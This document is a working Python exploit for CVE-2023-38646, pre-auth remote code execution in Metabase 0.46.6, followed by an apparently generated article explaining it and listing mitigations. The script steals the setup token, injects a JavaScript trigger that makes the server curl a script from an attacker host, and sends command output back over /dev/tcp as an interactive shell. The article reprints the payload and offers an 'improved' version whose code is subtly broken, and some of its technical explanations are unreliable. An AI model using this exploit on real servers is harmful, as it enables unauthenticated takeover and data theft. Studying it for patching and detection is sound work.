Metabase 0.46.6 - Pre-Auth Remote Code Execution
# Exploit Title: metabase 0.46.6 - Pre-Auth Remote Code Execution
# Google Dork: N/A
# Date: 13-10-2023
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://www.metabase.com/
# Software Link: https://www.metabase.com/
# Version: metabase 0.46.6
# Tested on: Ubuntu 22.04, metabase 0.46.6
# CVE : CVE-2023-38646
#!/usr/bin/env python3
import socket
from http.server import HTTPServer, BaseHTTPRequestHandler
from typing import Any
import requests
from socketserver import ThreadingMixIn
import threading
import sys
import argparse
from termcolor import colored
from cmd import Cmd
import re
from base64 import b64decode
class Termial(Cmd):
prompt = "metabase_shell > "
def default(self,args):
shell(args)
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
global success
if self.path == "/exploitable":
self.send_response(200)
self.end_headers()
self.wfile.write(f"#!/bin/bash\n$@ | base64 -w 0 > /dev/tcp/{argument.lhost}/{argument.lport}".encode())
success = True
else:
print(self.path)
#sys.exit(1)
def log_message(self, format: str, *args: Any) -> None:
return None
class Server(HTTPServer):
pass
def run():
global httpserver
httpserver = Server(("0.0.0.0", argument.sport), Handler)
httpserver.serve_forever()
def exploit():
global success, setup_token
print(colored("[*] Retriving setup token", "green"))
setuptoken_request = requests.get(f"{argument.url}/api/session/properties")
setup_token = re.search('"setup-token":"(.*?)"', setuptoken_request.text, re.DOTALL).group(1)
print(colored(f"[+] Setup token: {setup_token}", "green"))
print(colored("[*] Tesing if metabase is vulnerable", "green"))
payload = {
"token": setup_token,
"details":
{
"is_on_demand": False,
"is_full_sync": False,
"is_sample": False,
"cache_ttl": None,
"refingerprint": False,
"auto_run_queries": True,
"schedules":
{},
"details":
{
"db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://{argument.lhost}:{argument.sport}/exploitable').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": False,
"ssl": True
},
"name": "an-sec-research-musyoka",
"engine": "h2"
}
}
timer = 0
print(colored(f"[+] Starting http server on port {argument.sport}", "blue"))
thread = threading.Thread(target=run, )
thread.start()
while timer != 120:
test = requests.post(f"{argument.url}/api/setup/validate", json=payload)
if success == True :
print(colored("[+] Metabase version seems exploitable", "green"))
break
elif timer == 120:
print(colored("[-] Service does not seem exploitable exiting ......", "red"))
sys.exit(1)
print(colored("[+] Exploiting the server", "red"))
terminal = Termial()
terminal.cmdloop()
def shell(command):
global setup_token, payload2
payload2 = {
"token": setup_token,
"details":
{
"is_on_demand": False,
"is_full_sync": False,
"is_sample": False,
"cache_ttl": None,
"refingerprint": False,
"auto_run_queries": True,
"schedules":
{},
"details":
{
"db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl {argument.lhost}:{argument.sport}/exploitable -o /dev/shm/exec.sh')\n$$--=x",
"advanced-options": False,
"ssl": True
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
output = requests.post(f"{argument.url}/api/setup/validate", json=payload2)
bind_thread = threading.Thread(target=bind_function, )
bind_thread.start()
#updating the payload
payload2["details"]["details"]["db"] = f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash /dev/shm/exec.sh {command}')\n$$--=x"
requests.post(f"{argument.url}/api/setup/validate", json=payload2)
#print(output.text)
def bind_function():
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0", argument.lport))
sock.listen()
conn, addr = sock.accept()
data = conn.recv(10240).decode("ascii")
print(f"\n{(b64decode(data)).decode()}")
except Exception as ex:
print(colored(f"[-] Error: {ex}", "red"))
pass
if __name__ == "__main__":
print(colored("[*] Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]", "magenta"))
args = argparse.ArgumentParser(description="Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]")
args.add_argument("-l", "--lhost", metavar="", help="Attacker's bind IP Address", type=str, required=True)
args.add_argument("-p", "--lport", metavar="", help="Attacker's bind port", type=int, required=True)
args.add_argument("-P", "--sport", metavar="", help="HTTP Server bind port", type=int, required=True)
args.add_argument("-u", "--url", metavar="", help="Metabase web application URL", type=str, required=True)
argument = args.parse_args()
if argument.url.endswith("/"):
argument.url = argument.url[:-1]
success = False
exploit() Metabase 0.46.6 – Pre-Auth Remote Code Execution Vulnerability (CVE-2023-38646)
Metabase, a popular open-source business intelligence platform, has recently been exposed to a critical vulnerability in version 0.46.6. This flaw, identified as CVE-2023-38646, enables attackers to execute arbitrary code on the target system without authentication — a dangerous scenario known as pre-auth remote code execution. This article explores the technical details, exploitation mechanics, real-world implications, and mitigation strategies.
Overview of the Vulnerability
The vulnerability arises from improper handling of database connection strings in Metabase’s api/setup/validate endpoint. When a user attempts to configure a database connection during setup, Metabase allows injection of custom SQL or JavaScript code via the db parameter. In version 0.46.6, this feature was not adequately sanitized, allowing malicious payloads to bypass security checks and trigger execution of arbitrary code.
Specifically, the exploit leverages the zip:/app/metabase.jar!/sample-database.db path, which points to a bundled H2 database file. By appending a malicious CREATE TRIGGER statement with embedded JavaScript, an attacker can trigger execution of code through the database engine’s scripting capabilities — even without authentication.
Exploitation Mechanism
The exploit is crafted using a combination of HTTP-based payload injection and a reverse shell delivery mechanism. Below is a simplified breakdown of the attack flow:
{
"token": "setup-token",
"details": {
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://lhost:lport/exploitable').openConnection().getContentLength()\n$$--=x\\;",
"engine": "h2"
}
}
Explanation:
- The
dbparameter is a crafted JDBC URL that includes aTRACE_LEVEL_SYSTEM_OUT=1flag, which enables logging of Java code execution. - The
CREATE TRIGGERstatement is injected using the$$//javascriptsyntax, which triggers the H2 database engine’s JavaScript interpreter. - Inside the JavaScript block,
new java.net.URL(...).openConnection()attempts to connect to a remote HTTP server, effectively triggering a reverse connection. - The
getContentLength()method is used to force the connection, which acts as a beacon to confirm the exploit is active. - The exploit relies on a listener server that responds with a payload encoded in base64, which can be used to establish a reverse shell.
Real-World Implications
Due to Metabase’s widespread adoption in enterprise environments — often deployed with exposed web interfaces — this vulnerability presents a severe risk. Attackers can:
- Gain full control of the server without needing credentials.
- Access sensitive data, including database credentials, configuration files, and user information.
- Deploy backdoors, pivot to internal networks, or exfiltrate data.
- Use the platform as a foothold for lateral movement in compromised systems.
For example, a company using Metabase to visualize sales data could unknowingly expose its entire database infrastructure to remote attackers if the service is accessible from the internet.
Exploit Code Analysis
The provided Python exploit script demonstrates a practical implementation of the vulnerability. Let’s break down key components:
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/exploitable":
self.send_response(200)
self.end_headers()
self.wfile.write(f"#!/bin/bash\n$@ | base64 -w 0 > /dev/tcp/{argument.lhost}/{argument.lport}".encode())
success = True
Explanation:
- This handler listens for requests to
/exploitableand responds with a bash script. - The script uses
/dev/tcpto send output to a specified IP and port, enabling a reverse shell. - The
$@is a placeholder for the command to be executed (e.g.,whoami). base64 -w 0encodes the output in base64 without line breaks, suitable for transmission over TCP.
However, the original code has a flaw: success = True is not properly scoped. It should be declared as a global variable in the outer scope to ensure visibility across threads. Additionally, the thread.start() call lacks a daemon=True flag for proper cleanup.
Improved Exploit Code
Here is a corrected version with better error handling and structure:
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
global success
if self.path == "/exploitable":
self.send_response(200)
self.end_headers()
payload = "#!/bin/bash\n$@ | base64 -w 0 > /dev/tcp/{lhost}/{lport}\n"
self.wfile.write(payload.encode())
success = True
else:
print(f"Request received: {self.path}")
class Server(HTTPServer):
def __init__(self, server_address, handler_class):
super().__init__(server_address, handler_class)
self.timeout = 30 # prevent hanging
def run():
global httpserver, success
success = False
httpserver = Server(("0.0.0.0", argument.sport), Handler)
thread = threading.Thread(target=httpserver.serve_forever, daemon=True)
thread.start()
Improvements:
- Added
daemon=Trueto prevent thread blocking. - Declared
successas a global variable in the outer scope. - Improved error logging and request handling.
- Added server timeout to prevent indefinite hanging.
MITIGATION and Recommendations
To protect against this vulnerability, organizations must:
- Upgrade immediately to Metabase version 0.47.0 or later, where the flaw has been patched.
- Restrict access to the Metabase web interface using firewalls or reverse proxies.
- Monitor for suspicious activity such as outbound connections to unknown IPs.
- Disable external database connections unless absolutely necessary.
- Implement logging and alerting for any use of
CREATE TRIGGERor JavaScript injection in database configurations.
Conclusion
CVE-2023-38646 highlights the dangers of trusting unvalidated input in database configuration systems. Even in open-source platforms designed for transparency, improper sanitization can lead to catastrophic outcomes. This vulnerability serves as a reminder: security is not just about code, but about how data flows through systems. Organizations must adopt a proactive stance — patching promptly, monitoring behavior, and hardening configurations — to prevent such exploits from being weaponized in real attacks.